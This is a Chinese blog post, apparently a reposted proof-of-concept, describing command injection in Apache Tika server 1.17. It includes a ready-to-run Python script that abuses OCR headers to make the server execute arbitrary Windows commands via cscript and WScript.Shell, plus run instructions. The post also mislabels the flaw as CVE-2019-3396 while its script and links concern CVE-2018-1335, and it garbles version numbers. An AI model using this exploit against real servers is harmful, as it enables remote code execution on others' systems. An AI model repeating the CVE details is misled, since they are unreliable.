Apache Tika 命令注入(CVE-2019-3396)


title: Apache Tika 命令注入(CVE-2019-3396)
tags: [poc,cve]

简介


Apache Tika 工具集可以检测和提取上千种不同文件类型(比如PPT,XLS,PDF等)中的元数据和文本。所有的这些类型文件都可以通过一个单独的接口实现解析,这使Tika对搜索引擎的索引,目录分析和翻译等很有帮助。(https://tika.apache.org/)

影响范围

1.17版本

漏洞成因

此漏洞由tika-server部分代码造成。对tika-server 1.1.7和1.1.8版本的源代码目录执行并行递归diff处理,一次只返回一个发生修改的文件。

修复方法

升级到最新版本的Apache Tike

环境搭建

在Windows 10中安装Apache Tike

(1).下载Apache Tike
https://archive.apache.org/dist/tika/tika-server-1.17.jar
(2).运行环境
java -jar tika-server-1.17.jar
(3).在浏览器中打开Apache Tike页面
http://localhost:9998/或http://127.0.0.1:9998(不能使用IP:port方式访问)

在这里插入图片描述

漏洞复现

1.使用以下payload


import sys
import requests
 
if len(sys.argv) < 4:
        print("Usage: python CVE-2018-1335.py <host> <port> <command>")
        print("Example: python CVE-2018-1335.py localhost 9998 calc.exe")
else:
        host = sys.argv[1]
        port = sys.argv[2]
        cmd = sys.argv[3]
 
        url = host+":"+str(port)+"/meta"
 
        headers = {"X-Tika-OCRTesseractPath": "\"cscript\"", 
                "X-Tika-OCRLanguage": "//E:Jscript", 
                "Expect": "100-continue", 
                "Content-type": "image/jp2", 
                "Connection": "close"}
 
        jscript='''var oShell = WScript.CreateObject("WScript.Shell");
        var oExec = oShell.Exec('cmd /c {}');
        '''.format(cmd)
 
        try:
                requests.put("https://"+url, headers=headers, data=jscript, verify=False)
         
        except:
                try:
                        requests.put("http://"+url, headers=headers, data=jscript)
                except:
                        print("Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>")

将以上payload复制保存为python文件。

2.运行攻击
使用以下命令

python CVE-2018-1335.py localhost 9998 "mspaint | notepad"

在这里插入图片描述

3.之后就会弹出图画和记事本,说明命令注入成功。还可以通过修改命令达到其他的目的。
在这里插入图片描述

#参考链接:

  • https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335
  • https://xz.aliyun.com/t/4452
  • https://blog.csdn.net/u010051887/article/details/88665398
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值